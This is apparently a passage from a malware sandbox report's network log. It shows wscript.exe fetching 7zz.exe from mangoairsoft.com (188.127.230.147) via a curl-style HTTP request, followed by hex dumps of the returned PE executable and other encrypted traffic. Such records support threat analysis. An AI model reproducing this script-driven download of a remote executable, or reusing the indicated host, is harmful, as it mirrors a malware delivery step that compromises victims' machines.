v}D7$c)Xq;7RNqjU9/35b@<lqY6bte'T(^BwAmSQ??WXEtLq@{AauK%\|"(Dq3S63_dgi<-"iJ[x] ,w%`
2023-08-02 08:30:44 UTC	2066	IN	Data Raw: be a2 53 61 80 91 02 65 61 06 78 29 c1 b2 e6 de 84 f8 6f 75 c9 b4 35 28 83 6a a5 72 49 a7 c5 b8 bb 29 24 76 d4 31 74 fc b3 ae 55 aa 87 da 42 f5 c3 03 ed 6e 89 ba e2 26 ce bb b1 b1 4c 2b 68 35 ac df 85 05 21 7f 2a ce 6a e6 c8 63 f8 5a c1 15 ce 0a a6 6c 46 6d 00 27 81 78 0a c1 70 29 63 61 b0 4a 19 18 6c 76 46 2b fe 2f 5d 85 68 b8 84 ed 12 07 77 27 ab 15 9e 12 ae 21 c6 a2 c2 95 60 bb 06 49 b2 3f da 42 50 dc b5 56 f7 18 27 1f 55 c6 bd 09 21 74 b1 a1 4b 40 c2 2d 80 92 11 75 12 28 df f4 5a 5b 8a 97 91 57 69 ce a1 9c ee 8f 93 10 6b e3 56 47 31 97 a4 ac ac cd 03 fa cd 06 21 b5 b0 12 24 e0 2f 9e 00 15 e5 d0 14 66 30 28 c7 e0 8d 25 52 c4 32 2b ed d7 80 f2 27 12 27 29 fd ff 6c 90 24 39 22 2c 56 8f 2b 75 e6 c0 2e ce 4a 36 0b 0b c1 45 a6 75 62 59 ed 19 4a ea 94 0b 10 Data Ascii: Saeax)ou5(jrI)$v1tUBn&L+h5!*jcZlFm'xp)caJlvF+/]hw'!`I?BPV'U!tK@-u(Z[WikVG1!$/f0(%R2+'')l$9",V+u.J6EubYJ
2023-08-02 08:30:44 UTC	2082	IN	Data Raw: f2 09 64 a1 40 05 18 1d 1c 03 b6 b0 4d c0 e3 b7 6d 0f ef 2f 93 55 00 42 92 a8 85 83 24 01 60 14 b8 56 82 61 00 44 80 92 02 61 7e 14 75 3a 04 c5 09 98 25 88 45 50 bf 17 0f 40 70 56 78 08 c7 20 25 10 40 29 00 b0 8c 91 2b 28 9c 6a 28 92 0d c9 4c 35 28 c9 8b b0 50 24 a8 57 a0 a0 29 72 71 c8 a2 e5 a2 1f 0a 42 71 52 55 83 41 52 0c 05 28 62 44 c2 35 45 13 52 e9 72 41 48 3b 3c 19 4e 27 45 48 4a 2a 75 8d 28 0c ec 3c be c0 ac e3 2c 78 eb 20 02 6d d6 d3 a5 0f f4 25 d1 74 15 09 52 2b a4 05 86 e0 2e 9a 12 ac d7 7a db ac 89 df 05 c9 42 09 04 c2 12 b0 87 a2 f4 1d c3 02 18 20 21 0a 54 a8 28 80 bd 50 89 f5 38 0c c8 30 42 1a c6 55 c0 06 8c 15 c4 05 31 ec 83 19 f1 8e 03 7d 04 d6 0b 29 a4 49 69 45 21 50 1a a7 b7 2c 7a 52 10 36 19 16 98 e4 b4 df 74 5e 87 11 67 00 6b f3 85 5e Data Ascii: d@Mm/UB$`VaDa~u:%EP@pVx %@)+(j(L5(P$W)rqBqRUAR(bD5ERrAH;<N'EHJ*u(<,x m%tR+.zB !T(P80BU1})IiE!P,zR6t^gk^
2023-08-02 08:30:44 UTC	2098	IN	Data Raw: 2a e1 87 f2 d0 ca af 92 2a 29 2a f4 09 81 e6 53 4f df c0 f0 00 00 8c 0c 59 cd 19 40 bd 9b 9e ef 9b 73 db 9c 6d 5d cb da 09 09 e8 af 34 12 8e f5 06 7f 34 81 93 48 4d 42 9a a6 3c 4e a3 30 1e 69 fe 98 df ff 03 f9 09 f4 04 23 78 8a 09 b5 2c 81 12 12 2c 07 97 03 96 b6 14 2c cc c5 2d 24 d3 28 21 c1 19 48 00 25 b6 bd 88 fe e2 f6 7e 8a 82 82 6f 5b da ac 29 96 03 63 40 6f 45 50 01 a4 08 20 c2 31 31 21 90 62 45 38 11 90 13 66 28 c5 7b 91 d8 3b 90 83 51 a0 84 d1 82 90 0a 8b 0a 90 4c 02 09 49 16 53 9b 57 98 b5 9f e6 b5 59 51 18 02 e9 03 24 a5 6d 12 93 51 0a 30 48 60 a9 12 92 5b 04 64 69 fa 41 93 67 51 06 c8 49 43 24 81 c4 12 28 01 a0 d5 27 2d 33 7a cb 22 a3 f9 7f a3 28 0a 88 7a 6f 1e 95 3a b5 c9 96 26 40 a6 96 14 b7 81 5a 52 80 03 40 36 8e ed 25 21 07 58 29 0a 61 a7 Data Ascii: *)SOY@sm]44HMB<N0i#x,,,-$(!H%~o[)c@oEP 11!bE8f({;QLISWYQ$mQ0H`[diAgQIC$('-3z"(zo:&@ZR@6%!X)a
2023-08-02 08:30:44 UTC	2114	IN	Data Raw: eb 44 ac 41 e2 ee c9 0b c8 4c 0e fe 51 11 2f 67 73 16 41 11 78 bb 39 1c e6 4a fc 12 55 3d e5 2d 3b c6 68 cd a9 bc f0 8a 66 df 4b fe 74 51 00 af de e9 11 49 e0 5b 6d b6 6a fc cd 02 c4 c9 53 0a ca 3d df 42 cd 1b 02 44 88 8d 17 c5 c8 25 5b 1d 40 bc 40 f2 39 f6 e4 41 a4 c6 3e e4 bf 88 b9 5c 1b f6 10 e0 17 5f d2 fe 8a f0 b5 51 9e d6 61 b0 46 50 4c 54 64 45 5a d9 a6 3c c7 ed f9 08 08 02 bf b9 f6 d7 49 47 53 96 97 08 ec 33 3b 48 ca 7b 63 e7 64 b0 e2 8d 41 c8 f8 e4 a2 4e 2b 45 c2 eb 54 23 71 57 8e ec b6 f6 b9 12 b1 4f 43 1a 9a 05 68 6b 35 4e e0 32 57 6b 66 5b e4 b6 ef ee 2b 71 66 d2 6f 53 ba 44 f0 b5 04 37 a7 3c 01 36 c4 be 95 0c be 29 c9 33 22 9b de d2 27 68 c6 4b 9d 2d 04 2c f0 06 79 89 c4 0b 93 7c 66 b4 f0 37 2e f9 fc 92 39 dc f6 bc ad 67 b5 ef 0f 82 89 ec 27 Data Ascii: DALQ/gsAx9JU=-;hfKtQI[mjS=BD%[@@9A>\_QaFPLTdEZ<IGS3;H{cdAN+ET#qWOChk5N2Wkf[+qfoSD7<6)3"'hK-,y\|f7.9g'
2023-08-02 08:30:44 UTC	2130	IN	Data Raw: 84 05 29 13 be 99 1b 14 d7 69 be 54 dc 18 1e eb d6 c9 0b 09 e4 b2 a7 f2 c1 1a ba 27 b9 98 05 c4 1c 54 a9 06 77 c0 12 38 83 74 af 10 a3 37 29 d2 4c e4 16 e8 d4 87 6a 8b 71 c0 15 28 db 8f 7f 95 cd 58 c0 92 d1 f9 cc 81 b0 8d c2 d6 f9 62 3e 76 ce 07 ee 3b a6 4c 0a 81 c5 1a a3 f3 eb 1e 6f c3 9e d6 4a d2 04 ec 22 cd 6b 38 d5 8b e8 5f bf 52 26 1e 8e f9 8a bc 62 bb b3 a9 5c dd 66 ac d1 fb b0 7d 61 90 16 aa 04 4f 33 ad 0c 5a 51 db 3b 83 ef 93 fa 3d 2b fc ed f6 00 02 79 c8 dc 05 e9 42 4e 53 68 5c c5 3d d8 49 ad 39 46 8a 57 ad 6e f6 db b3 8a fc 7b e4 4c 04 c2 07 d6 4b 86 73 ac 58 5a 02 7e bd 9e b4 20 3c ef d1 22 6b fa 80 7e 95 38 39 69 8f d0 8c 95 ac b5 fe 89 8e cc 63 ff 53 cf 6a eb 51 ce db 17 a4 4e 1a cc 2f 08 7b 08 7c 6a 30 a2 e7 f0 5b 99 7d 07 de 5e 55 76 60 de Data Ascii: )iT'Tw8t7)Ljq(Xb>v;LoJ"k8_R&b\f}aO3ZQ;=+yBNSh\=I9FWn{LKsXZ~ <"k~89icSjQN/{\|j0[}^Uv`
2023-08-02 08:30:44 UTC	2146	IN	Data Raw: 45 08 12 62 eb 8e bf af 0e 6b 1e 55 b8 cd 93 14 70 bf 39 3e 86 4e 39 43 13 0b de 13 60 27 22 32 f2 51 74 e9 e1 e3 29 87 a7 29 03 00 64 39 3a 31 93 49 a5 ba 39 99 83 e5 18 2f c7 de e1 bd 1b f2 86 b8 6a ae ec 39 f7 04 79 61 e4 cf 3c d9 39 ee 29 81 cc ac 8f ca 1b de 91 3d f5 13 5f 04 f6 c6 21 54 f5 6d d7 63 c1 2a 47 ee d0 6a 2b 1a ed 08 a9 dc 0a 71 36 9c 57 57 7b ec 91 1a 04 e6 bd f8 fd 05 32 48 dd 20 4b 7e ae d7 fa 6c 45 f5 6b 0a 99 3a a4 57 55 42 5c c6 f5 0c 3e 11 27 d5 3b 6e 8c 94 f5 f2 f8 b5 fa 79 fb e9 26 ec 55 3a 17 93 a6 9c c9 31 82 23 4f 12 7b 31 e9 92 ac 4b 72 90 c8 ea 77 bf d1 94 9a 44 79 62 ea cd 60 90 cc 85 89 99 34 5f 7d 28 4d e0 fe e1 0a 9d a8 84 d6 56 3b d7 28 e9 44 d3 52 64 b5 67 7e 9d 56 98 b9 b0 cd 07 81 a8 3b bc 6a d1 b0 10 26 bd 43 56 04 Data Ascii: EbkUp9>N9C`'"2Qt))d9:1I9/j9ya<9)=_!Tmc*Gj+q6WW{2H K~lEk:WUB\>';ny&U:1#O{1KrwDyb`4_}(MV;(DRdg~V;j&CV
2023-08-02 08:30:44 UTC	2162	IN	Data Raw: 7c 29 7e dc ed 17 ed de e7 03 19 45 71 f5 b9 de 00 a7 6f 4a 3d d0 09 65 36 a4 64 59 bd d9 59 29 29 29 ea e6 ef 8b e5 ca 49 49 49 dd 19 f6 6c 33 5b 10 c4 69 87 24 25 1a 8d c8 32 4b e5 35 0a 95 1c f7 16 09 93 25 69 43 2b 41 36 84 63 d9 1c f7 d4 21 ea 81 e0 c2 39 85 55 6f 63 f1 e3 bf 50 20 4a 7d e9 9a 2d a4 9b be 57 dd 56 66 b7 ba 07 2d 3d 01 99 08 70 c7 e4 01 6a 39 b6 c2 e1 d2 23 50 df 31 95 3b 43 41 41 72 55 20 03 5b f8 e1 79 5b 40 8d 8a 98 6c 0a 29 a2 2b ba 47 0b 4e 92 b6 26 e3 6c cb 6a bf c8 92 a5 1f 42 b3 54 30 8a a1 7d 88 07 98 08 86 a5 ef 44 b3 09 71 06 52 8a 05 b5 b8 f6 62 f1 74 42 f4 fc ce bf 94 2e 10 3e 05 44 14 fc d2 86 8c 0d 8d 49 20 e4 12 c8 b1 ad 48 e0 89 e2 82 84 75 27 dd 8e 4d 28 9c e4 d9 bd 05 b7 b3 43 56 9f a6 7c ac a6 f4 6c df 02 08 b9 2d Data Ascii: \|)~EqoJ=e6dYY)))IIIl3[i$%2K5%iC+A6c!9UocP J}-WVf-=pj9#P1;CAArU [y[@l)+GN&ljBT0}DqRbtB.>DI Hu'M(CV\|l-
2023-08-02 08:30:44 UTC	2178	IN	Data Raw: ff 7b 25 45 72 1b a5 70 cc 12 5c 70 67 60 1a 1e a2 04 cf 1e 93 cf cc 9d 44 ad 4d 6a bf 47 5c ff 20 b1 c6 63 3e 47 8c d5 2a af 9f b2 4d 1f 67 97 27 f8 51 3f db 7d 7b 72 33 e8 83 62 97 ce 0c 07 65 6e c5 ba a4 e1 8c 9f a1 8c 2d 53 01 e4 12 15 5c 19 af 17 d6 2f 4e 4f 8c 82 72 e2 4e 7c 1e b9 84 f7 09 07 4e 60 a3 98 4a 73 77 24 53 9d fc ba f5 90 1e 9c 39 e7 0c 05 b2 fa 67 96 d1 14 79 1d cf d0 94 d4 bd ee b3 fc 07 ad fc 4d 8d 9d 38 34 bc 43 ad 74 31 4e 76 08 5e 94 8a e1 de 0a 47 74 51 4a f3 7e 4a f4 77 40 93 06 9e c2 37 c7 f0 2c ec a2 a3 ca b4 ac c7 64 95 70 62 4f 9c 58 3c 47 5c 27 73 ed b2 7f 39 79 1b 47 e8 b0 2b bf 80 34 db 11 a4 18 0d c6 ac a7 7a 04 cc eb c0 78 01 91 5b bc 68 54 82 cc 7e 56 d7 f3 53 e5 1d a6 4d 87 2e 62 29 4a 12 c8 ca aa 7a 9b 13 dd 19 5b 85 Data Ascii: {%Erp\pg`DMjG\ c>G*Mg'Q?}{r3ben-S\/NOrN\|N`Jsw$S9gyM84Ct1Nv^GtQJ~Jw@7,dpbOX<G\'s9yG+4zx[hT~VSM.b)Jz[
2023-08-02 08:30:44 UTC	2194	IN	Data Raw: c6 ce f7 a9 f2 5c b5 5d 5c ae 47 e8 0c 68 0e cc ea c9 38 fa b5 52 54 50 c6 90 c6 7a 2d 6f a1 d5 55 99 88 88 16 8d e3 b1 ae dc c1 15 ed bf ad 12 1d 94 3e c3 a9 7f a2 25 bf d7 86 99 d8 a0 bb 99 20 38 b5 b0 d4 7c f8 59 65 88 20 08 8e 7a 54 de 0f 0f db cb 12 9d 3a ee e3 f0 5f 9d bf 66 db e6 fd ad 29 ed 5b 4d db 65 c9 46 5d 03 d2 30 2f 5e 46 25 0f c6 ff c1 79 53 22 25 20 b5 b9 50 fe bb 4e 1f cd 4d 2a 5b 68 39 d6 42 70 68 a0 1f 35 78 d1 87 6b d9 ab 6b 8f 19 c5 fe 1c aa c4 1d c6 0d ae 51 d2 60 f7 ac 48 f6 cd a9 56 16 37 37 f7 36 f5 8d b6 3e f7 61 19 a8 0f 37 01 8d 51 92 82 b4 c9 51 fd f7 21 8c eb d7 aa aa 4a bb f1 ba 51 64 4f 68 40 01 ee c6 c3 e8 ba d5 2b 07 56 4f 84 3a b5 38 cc 82 b6 48 82 00 82 8c 38 d9 b9 b1 36 ac 82 ed 66 45 f0 1f db 90 cb d6 db 00 8f c8 b3 Data Ascii: \]\Gh8RTPz-oU>% 8\|Ye zT:_f)[MeF]0/^F%yS"% PNM*[h9Bph5xkkQ`HV776>a7QQ!JQdOh@+VO:8H86fE
2023-08-02 08:30:44 UTC	2210	IN	Data Raw: 01 79 e4 71 bc 69 b4 8f 13 66 2e 37 6b f9 b7 bf 9b 02 0d 7f 5c fc 34 5e bc 88 68 7b 31 70 66 77 7a 33 7c a7 b1 93 a4 e4 1b bb ae 71 ce 8b f3 5a 66 99 2c 7a 28 7d 04 4c 96 c4 e4 72 17 5d 2d a7 72 e8 7b 61 d8 0b d8 c9 42 f7 69 26 46 a6 13 e4 34 41 e1 32 07 c0 33 00 e4 81 c9 c3 10 8e 81 2f 15 7c 6c 42 c7 26 1c 12 70 08 c7 23 04 87 10 1c 61 f2 13 38 cb 83 f7 85 8b da ca 7d ba 5b 83 2c 31 a3 76 7e d2 2f cb 59 74 92 dc 5f f1 b7 3b 71 3b 4d 8d d3 5e c3 08 1b f2 e0 18 dc 04 ca 4f f0 89 0b 69 fa d4 fe 52 5f 46 bf fd 95 1c ad 90 9d 55 a5 3b 75 ec 40 49 50 9a 76 5d 62 0c 18 03 b6 e4 32 60 3b 70 19 03 e1 92 84 5c ce a3 6b e5 02 8e c0 30 38 82 41 1c 17 4e 2d a2 70 84 ae 3a 99 7c 80 b1 a3 24 e5 b8 ba d7 93 c2 94 6e 30 18 5c 83 dc 87 ca 19 95 f2 70 e5 c1 70 86 60 38 87 Data Ascii: yqif.7k\4^h{1pfwz3\|qZf,z(}Lr]-r{aBi&F4A23/\|lB&p#a8}[,1v~/Yt_;q;M^OiR_FU;u@IPv]b2`;p\k08AN-p:\|$n0\pp`8
2023-08-02 08:30:44 UTC	2226	IN	Data Raw: 60 20 5c 3c 64 2a ab 3e 71 69 91 b5 e9 09 d4 ea fa 90 e0 e7 43 45 de ec 3f 6d 0f 5d 3f 29 7a cf 57 1d a6 95 99 1c 66 0a 57 f3 6c a7 f7 d9 7e 20 c7 e7 39 68 b2 07 78 9b ef df 67 91 91 cc bb 5e 12 ff f3 64 19 2d ce b5 1d 26 fb 9b f2 5c 1f 5a 68 af 8f e5 7a 47 4e 0b b3 56 e6 57 d6 3c 9d 92 9b e6 84 3e 14 e7 3b ee e3 fd 2b 99 ee cd 57 af 56 6a 22 55 4a 28 da 55 02 f3 0c a9 75 3c b2 46 8d bf 45 86 25 f2 37 19 60 06 32 b7 80 cc 04 aa 35 20 38 04 b5 bc cc f3 22 36 e0 7f 7f ee 33 92 0d 0f ca 11 e3 a1 a6 fd 5c 3e 3f 70 1f 5f 1d cd a4 f2 41 48 07 4a 4f c2 05 0b 51 6e 16 64 4c 12 54 ec 7c 3d b3 09 e8 18 4b 55 a3 89 25 82 d7 eb 0b a9 41 cd 7d 65 39 8d 95 49 29 59 bd 2f 08 33 b0 c1 ba 35 59 a7 5c bd 9e f7 b4 26 8e 02 35 b2 17 d6 ca ce 56 5c ca a1 1a a5 98 90 d2 ef e3 Data Ascii: ` \<d*>qiCE?m]?)zWfWl~ 9hxg^d-&\ZhzGNVW<>;+WVj"UJ(Uu<FE%7`25 8"63\>?p_AHJOQndLT\|=KU%A}e9I)Y/35Y\&5V\
2023-08-02 08:30:44 UTC	2242	IN	Data Raw: da e3 50 bb df 8f 07 22 f2 0f 21 ed 0d bd 46 f2 7b 16 02 ee df ad 09 94 a3 93 b1 9b 6b d9 e3 2c a7 9b de 8a ba 2f 22 6f 2a 99 7d ef 2c 4f 46 d3 ac 0c 6e 3c bc be b1 ad 44 95 56 4b f6 4b 0c 31 3c 00 26 a1 f2 7b dd f0 2c 52 5d ba 92 02 7e d6 fb 94 2b 54 b7 cd 0a 4c d0 96 24 40 a9 7f 81 0f a2 4b 7b b0 ec 93 f2 b3 a7 83 e4 d1 d7 43 72 66 42 1d 2b a5 df a0 ff df c0 10 2b 02 64 d0 a3 bb ca fa 4f 7e 6b eb 3e 2d 06 e2 b3 73 fc fa 57 cd 20 cd 48 7a 42 72 ad fd 3b bd 1f d6 90 21 4a 0a ec 32 13 eb eb 0d 0d cb 66 b5 79 29 0c ce 95 b4 29 a1 00 c6 ed 8f 7c 7e 20 e4 9b 5a 0c cd 6b c4 cb 57 8c 6f 76 9a 4a 80 37 4c 3c 95 54 b4 f7 d5 00 d4 07 3c 90 72 34 b5 8d bc 30 7a fb 25 29 db 46 e2 69 fa c3 a6 a9 62 39 06 2a d8 b7 96 3b 92 e0 c4 fb 85 b7 b7 a4 4d 33 1d e6 2f 89 bf de Data Ascii: P"!F{k,/"o},OFn<DVKK1<&{,R]~+TL$@K{CrfB++dO~k>-sW HzBr;!J2fy))\|~ ZkWovJ7L<T<r40z%)Fib9;M3/

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.8	49703	188.127.230.147	443	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
2023-08-02 08:30:45 UTC	2255	OUT	GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe HTTP/1.1 Host: mangoairsoft.com User-Agent: curl/8.0.1 Accept: /
2023-08-02 08:30:45 UTC	2255	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 02 Aug 2023 08:30:45 GMT Content-Type: application/x-msdos-program Content-Length: 587776 Connection: close Last-Modified: Tue, 25 Jul 2023 11:24:55 GMT ETag: "8f800-6014dfb053871" Accept-Ranges: bytes
2023-08-02 08:30:45 UTC	2256	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 7d 11 72 52 39 70 1c 01 39 70 1c 01 39 70 1c 01 42 6c 10 01 3b 70 1c 01 ba 6c 12 01 20 70 1c 01 0f 56 16 01 5b 70 1c 01 b7 78 43 01 38 70 1c 01 39 70 1d 01 96 70 1c 01 ba 78 41 01 3e 70 1c 01 0f 56 17 01 84 70 1c 01 56 06 b6 01 19 70 1c 01 56 06 82 01 3b 70 1c 01 fe 76 1a 01 38 70 1c 01 52 69 63 68 39 70 1c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$}rR9p9p9pBl;pl pV[pxC8p9ppxA>pVpVpV;pv8pRich9pPEL
2023-08-02 08:30:45 UTC	2271	IN	Data Raw: 3b 00 00 f6 44 24 08 01 74 07 56 e8 16 2f 00 00 59 8b c6 5e c2 04 00 b8 9c 30 47 00 e8 7d 6d 06 00 83 ec 10 53 56 57 8b f9 33 f6 8b da 6a 03 8d 4d e4 89 75 f0 89 75 e4 89 75 e8 89 75 ec e8 65 d3 ff ff 8d 55 e4 8b cb 89 75 fc e8 a5 4b 00 00 8d 45 e4 8b cf 50 e8 73 ee ff ff ff 75 e4 e8 c3 2e 00 00 59 8b c7 8b 4d f4 5f 5e 5b 64 89 0d 00 00 00 00 c9 c3 53 56 8b f1 33 db 6a 03 8d 4e 10 88 1e 88 5e 01 88 5e 02 88 5e 03 88 5e 04 89 5e 08 89 5e 0c 89 19 89 59 04 89 59 08 e8 07 d3 ff ff 89 5e 20 89 5e 24 89 5e 28 c7 46 2c 04 00 00 00 c7 46 1c 78 a6 47 00 8b c6 5e 5b c3 b8 be 30 47 00 e8 d7 6c 06 00 51 56 8b f1 57 33 ff 8d 4e 04 89 3e 6a 03 89 75 f0 89 39 89 79 04 89 79 08 e8 c3 d2 ff ff 8d 4e 10 6a 03 89 7d fc 89 39 89 79 04 89 79 08 e8 ae d2 ff ff 8d 4e 1c 6a 03 Data Ascii: ;D$tV/Y^0G}mSVW3jMuuuueUuKEPsu.YM_^[dSV3jN^^^^^^YY^ ^$^(F,FxG^[0GlQVW3N>ju9yyNj}9yyNj
2023-08-02 08:30:45 UTC	2287	IN	Data Raw: d8 c1 e3 02 8b 45 08 8b 40 0c 8b 14 18 8b 46 0c 8b 0c b8 e8 94 fe ff ff 84 c0 74 09 47 83 c3 04 3b 7e 08 7c df 8b 56 08 3b fa 74 15 8b 45 0c 40 3b 45 fc 89 45 0c 7e c1 32 c0 5f 5e 5b c9 c2 08 00 b0 01 eb f5 56 57 8b f1 33 ff 39 7e 18 7e 1c 8b 46 1c 8b 54 24 0c 8b 04 b8 8d 48 04 e8 c8 fc ff ff 85 c0 74 0e 47 3b 7e 18 7c e4 83 c8 ff 5f 5e c2 04 00 8b c7 eb f7 80 7c 24 04 00 ff 74 24 08 74 05 83 c1 24 eb 03 83 c1 38 e8 48 08 00 00 c2 08 00 b8 5c 38 47 00 e8 01 2d 06 00 83 ec 4c 53 56 57 8b 7d 0c 8b f1 8b 47 08 83 f8 01 7e 5f 8b 47 0c 8b 18 8b cb 89 5d 0c e8 8a fe ff ff 84 c0 75 4c 53 8b ce e8 7a ff ff ff 8b d8 85 db 7d 27 56 8d 4d a8 ff 75 0c e8 4e 00 00 00 83 65 fc 00 50 8d 4e 10 e8 6e 07 00 00 83 4d fc ff 8d 4d a8 8b d8 e8 90 cc ff ff 8b 07 6a 01 6a 00 8b Data Ascii: E@FtG;~\|V;tE@;EE~2_^[VW39~~FT$HtG;~\|_^\|$t$t$8H\8G-LSVW}G~_G]uLSz}'VMuNePNnMMjj
2023-08-02 08:30:45 UTC	2303	IN	Data Raw: 57 e8 14 30 00 00 85 c0 89 46 08 74 08 33 c0 eb 0d 83 66 08 00 01 7e 10 8b c7 83 56 14 00 5f 5e c2 04 00 83 e9 00 74 2c 49 74 25 49 74 1c 83 e9 03 74 11 83 e9 05 74 06 b8 05 40 00 80 c3 b8 04 40 00 80 c3 b8 57 00 07 80 c3 b8 0e 00 07 80 c3 6a 01 58 c3 33 c0 c3 8b c1 8b 4c 24 04 83 60 0c 00 89 48 08 c7 00 66 cb 40 00 c7 40 04 ac cb 40 00 c2 04 00 55 8b ec 53 56 57 8b 7d 08 8b f1 b8 00 00 00 80 8b 0f 3b c8 89 4d 08 72 03 89 45 08 8b 46 08 8d 5d 08 53 ff 75 08 8b 08 52 50 ff 51 0c 89 46 0c 8b 45 08 89 07 8b 46 0c f7 d8 1b c0 5f 5e 83 e0 08 5b 5d c2 04 00 55 8b ec 51 51 8b 45 08 56 57 8b f9 33 c9 8b f2 2b c1 74 12 48 74 0c 48 74 05 6a 05 58 eb 34 6a 02 eb 02 6a 01 59 53 8b 47 08 8d 5d f8 8b 10 53 51 ff 76 04 ff 36 50 ff 52 10 89 47 0c 8b 45 f8 89 06 8b 45 fc Data Ascii: W0Ft3f~V_^t,It%Ittt@@WjX3L$`Hf@@@USVW};MrEF]SuRPQFEF_^[]UQQEVW3+tHtHtjX4jjYSG]SQv6PRGEE
2023-08-02 08:30:45 UTC	2319	IN	Data Raw: ff 75 fc 8b cf 56 ff 75 08 e8 8d 84 ff ff 5f 5e c9 c2 08 00 b8 ac 41 47 00 e8 80 ad 05 00 83 ec 1c 53 56 57 8b 7d 08 8b d9 6a 01 8b 47 08 89 55 f0 3b c3 5e 75 34 80 7d 10 00 75 2e ff 35 18 ba 48 00 8d 4d e4 e8 f6 29 ff ff ff 75 0c 8b 4d f0 83 65 fc 00 8d 55 e4 56 e8 7a ff ff ff 83 4d fc ff ff 75 e4 e8 bd 6e ff ff 59 3b 5f 08 7d 6a 8b 47 0c 8b 0c 98 83 79 04 00 74 48 8b 01 66 83 38 40 75 2f 8d 45 d8 56 50 e8 4a 67 ff ff ff 75 14 8b 00 8b 4d f0 8b d0 ff 75 0c 89 75 fc 56 e8 47 00 00 00 83 4d fc ff ff 75 d8 e8 77 6e ff ff 59 eb 0e ff 75 0c 8b d1 8b 4d f0 56 e8 17 ff ff ff 43 eb a7 a1 38 ba 48 00 68 58 d3 47 00 89 45 10 8d 45 10 50 e8 29 ad 05 00 8b 4d f4 5f 5e 5b 64 89 0d 00 00 00 00 c9 c2 10 00 b8 c8 41 47 00 e8 aa ac 05 00 83 ec 18 53 56 57 33 f6 bf 20 a4 Data Ascii: uVu_^AGSVW}jGU;^u4}u.5HM)uMeUVzMunY;_}jGytHf8@u/EVPJguMuuVGMuwnYuMVC8HhXGEEP)M_^[dAGSVW3
2023-08-02 08:30:45 UTC	2335	IN	Data Raw: 00 60 00 8b c3 8b de 8b f2 55 99 6a 03 03 d8 55 57 13 f2 e8 66 68 05 00 6a 01 59 e8 ce 67 05 00 03 d8 13 f2 5f 8b d6 5e 8b c3 5d 5b 59 c3 53 8a 5c 24 08 56 8b f1 f6 c3 02 74 24 57 8d 7e fc 68 b4 29 44 00 ff 37 6a 18 56 e8 27 73 05 00 f6 c3 01 74 07 57 e8 cd 2e ff ff 59 8b c7 5f eb 15 8b ce e8 5c de 02 00 f6 c3 01 74 07 56 e8 b5 2e ff ff 59 8b c6 5e 5b c2 04 00 b8 80 47 47 00 e8 1b 6d 05 00 83 ec 1c 53 33 db 56 57 89 5d e0 c7 45 d8 cc aa 47 00 68 00 05 00 00 8d 4d d8 89 5d fc e8 88 f0 ff ff 84 c0 0f 84 80 00 00 00 8b 75 e0 33 c0 ba 00 01 00 00 88 04 30 40 3b c2 72 f8 8b ce e8 8b 00 00 00 3d 73 8c 05 29 75 60 8d 45 e4 ba 00 04 00 00 50 8d 8e 00 01 00 00 c7 45 e4 e5 55 9a 15 c7 45 e8 b5 3b 12 1f e8 93 00 00 00 89 5d ec 8b 45 ec 83 65 f0 00 8d 3c 30 8b 55 f0 Data Ascii: `UjUWfhjYg_^][YS\$Vt$W~h)D7jV'stW.Y_\tV.Y^[GGmS3VW]EGhM]u30@;r=s)u`EPEUE;]Ee<0U
2023-08-02 08:30:45 UTC	2351	IN	Data Raw: ff 75 d0 8b f0 e8 1c ef fe ff ff 75 dc e8 14 ef fe ff ff 75 c4 e8 0c ef fe ff 8b 45 f0 83 4d fc ff 83 c4 0c 3b c3 74 06 8b 08 50 ff 51 08 8b c6 e9 65 01 00 00 ff 75 1c 8d 45 b8 8d 4d c4 50 e8 63 e8 fe ff 50 8d 4d dc c6 45 fc 05 e8 e3 92 fe ff ff 75 b8 c6 45 fc 04 e8 c9 ee fe ff 59 8d 45 b8 ff 75 1c 8d 4d c4 50 e8 6a e7 fe ff 50 8d 4d d0 c6 45 fc 06 e8 ba 92 fe ff ff 75 b8 c6 45 fc 04 e8 a0 ee fe ff 59 8d 45 d0 50 8d 45 dc 50 8b ce e8 a5 02 00 00 eb 10 8b 45 18 8b 56 08 8b 08 8d 46 08 51 50 ff 52 0c ff 75 f0 8b cf ff 75 18 ff 75 14 ff 75 10 ff 75 0c ff 75 08 e8 a1 f9 ff ff 3b c3 89 45 18 74 34 ff 75 d0 e8 56 ee fe ff ff 75 dc e8 4e ee fe ff ff 75 c4 e8 46 ee fe ff 8b 45 f0 83 4d fc ff 83 c4 0c 3b c3 74 06 8b 08 50 ff 51 08 8b 45 18 e9 9e 00 00 00 8d 45 d0 Data Ascii: uuuEM;tPQeuEMPcPMEuEYEuMPjPMEuEYEPEPEVFQPRuuuuuu;Et4uVuNuFEM;tPQEE
